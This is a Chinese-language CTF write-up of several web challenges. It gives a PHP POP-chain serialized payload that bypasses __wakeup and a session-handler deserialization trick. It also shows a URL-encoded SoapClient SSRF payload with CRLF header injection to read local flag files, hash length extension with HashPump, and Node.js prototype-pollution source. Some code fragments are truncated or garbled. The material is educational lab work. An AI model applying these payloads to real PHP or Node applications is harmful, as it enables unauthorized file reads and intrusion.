知识点:原生类的利用,session 反序列化
public $a;public $b;public function __wakeup(){$this->a = "babyhacker";}public function __invoke(){if (isset($this->a) && $this->a == md5($this->a)) {$this->b->uwant();}}
}class B
{public $a;public $b;public $k;function __destruct(){$this->b = $this->k;die($this->a);}
}class C
{public $a;public $c;public function __toString(){$cc = $this->c;return $cc();}public function uwant(){if ($this->a == "phpinfo") {phpinfo();} else {call_user_func(array(reset($_SESSION), $this->a));}}
}if (isset($_GET['d0g3'])) {ini_set($_GET['baby'], $_GET['d0g3']);session_start();$_SESSION['sess'] = $_POST['sess'];
}
else{session_start();if (isset($_POST["pop"])) {unserialize($_POST["pop"]);}
}
var_dump($_SESSION);
highlight_file(__FILE__);
链子很好构造
B:__destruct => C:__toString => A:__invoke => C:uwant
public $a;public $b;
}class B
{public $a;public $b;public $k;
}
class C
{public $a;public $c;
}
$b = new B();
$c = new C();
$a = new A();
$b->a = $c;
$c->c = $a;
$a->a = '0e215962017';
$a->b = new C();
$a->b->a = 'succ3';
echo serialize($b);
增加属性绕过 __wakeup
即可
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
链子构造好了,那么里面的 call_user_func(array(reset($_SESSION), $this->a));
该怎么用呢?
call_user_func(array($a, $b));
其中的$a要是一个类,$b为类中方法
我们看这一段:
当 d0g3
存在时,就可以写一个 post
值到 session
里,那么传什么值呢?
if (isset($_GET['d0g3'])) {ini_set($_GET['baby'], $_GET['d0g3']);session_start();$_SESSION['sess'] = $_POST['sess'];
}
else{session_start();if (isset($_POST["pop"])) {unserialize($_POST["pop"]);}
}
var_dump($_SESSION);
这边就要看 flag.php 了,很明显需要用 soapclient
原生类构造 get
数据来访问它。
$f1ag=implode(array(new $_GET['a']($_GET['b'])));$_SESSION["F1AG"]= $f1ag;
}else{echo "only localhost!!";
}
且在 flag.php
中 new $_GET['a']($_GET['b'])
可以用原生来读取目录,也可以读取文件。
原生类详解处
那么我们是不是可以构造一个利用 soapclient
以 get
方式在本地访问 flag.php
并传参的脚本,且在 flag.php 中会把值存入 session
,那么我们是不是就可以通过 session
值来获取 flag
了,这边我就用一下 y4
大佬的脚本了。
$target,'user_agent'=>'y4tacker^^'.join('^^',$headers),'uri' => "ssrf"));$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo urlencode($a);
那么到这里思路一下子就清晰了,先利用 ini_set($_GET['baby'], $_GET['d0g3']);
和 $_POST['sess']
,设置 session
反序列化器为 php_serialize
,这样的话我们把上面的 ssrf payload
传进去并在最前面加一个 |
,在取出的时候由于 session
的默认反序列化器是 php
而造成反序列化漏洞。(session 反序列化介绍)
payload:
?d0g3=php_serialize&baby=session.serialize_handler
sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22y4tacker%0D%0AX-Forwarded-For%3A+127.0.0.1%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
传入的时候可以看出,还是正常的。
当我们以默认 PHP 处理器来访问时,它就会解析,把 |
前面的当做键值,后面的反序列化,这边也就是一个 Soapclient
类,但如果想要触发 ssrf ,我们还要访问一个Soapclient
中不存在的方法,到这是不是恍然大悟了。
没错就是下面这句,前面的 reset($_SESSION)
也就是上图的 Soapclient
类 $this->a
为方法名,那么是不是是要随便给 $this->a
附一个值就可以触发 ssrf
了。
call_user_func(array(reset($_SESSION), $this->a));
poc 链就是上面那个。
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
执行访问,会显示页面无法正常运作,因为这个 pop
链并没有形成闭合,最后没有 return
一个 String
来给B类的__toString()
方法我们只要重新访问一下页面就可以了。
可以看到本地的 session
值已经有了。接下来就是替换 session
值了。
成功获取 flag
,对了 flag
文件的名字可以通过 DirectoryIterator
原生类来比配获得,其他操作一样。
http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*
知识点:哈希长度拓展攻击
利用 hashpump
工具,安装步骤如下:
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
哈希长度拓展攻击
登录时看到如下图的 jsfuck
代码,放到 console
运行一下,注意前面的注释要删掉。
运行后会弹个框,告诉我们要 admin
大写。
一登进去就显示 flag
,嗯~~?,啥情况,看了大佬的 wp
,才发现原来访问 infoflllllag
是显示源码的,也不知道是哪位大佬这么牛。
var express = require('express');
var router = express.Router();
const isObject = obj = >obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) = >{for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}const clone = (a) = >{return merge({},a);
}
router.get('/',
function(req, res, next) {if (req.flag == "flag") {flag;res.send('flag?????????????');}res.render('info');
});
router.post('/', express.json(),
function(req, res) {var str = req.body.id;var obj = JSON.parse(str);req.cookies.id = clone(obj);res.render('info');
});
module.exports = router;
知识点:原生类,echo 16 进制
师傅们牛笔
$final .= '\x'.bin2hex($payload[$i]);
}
echo $final;
没想到还可以这么干,用 16
进制。
通过 phpinfo 可以知道它 disable_function 的函数,fuzz 一下可以知道有哪些方法可用
fuzz
脚本写的一般,师傅们如果有更好的方法,望推荐!!!
if(strpos($fuzz,$arr)!==false){continue;}else{echo $arr."\n";}
}
https://www.ctfiot.com/81036.html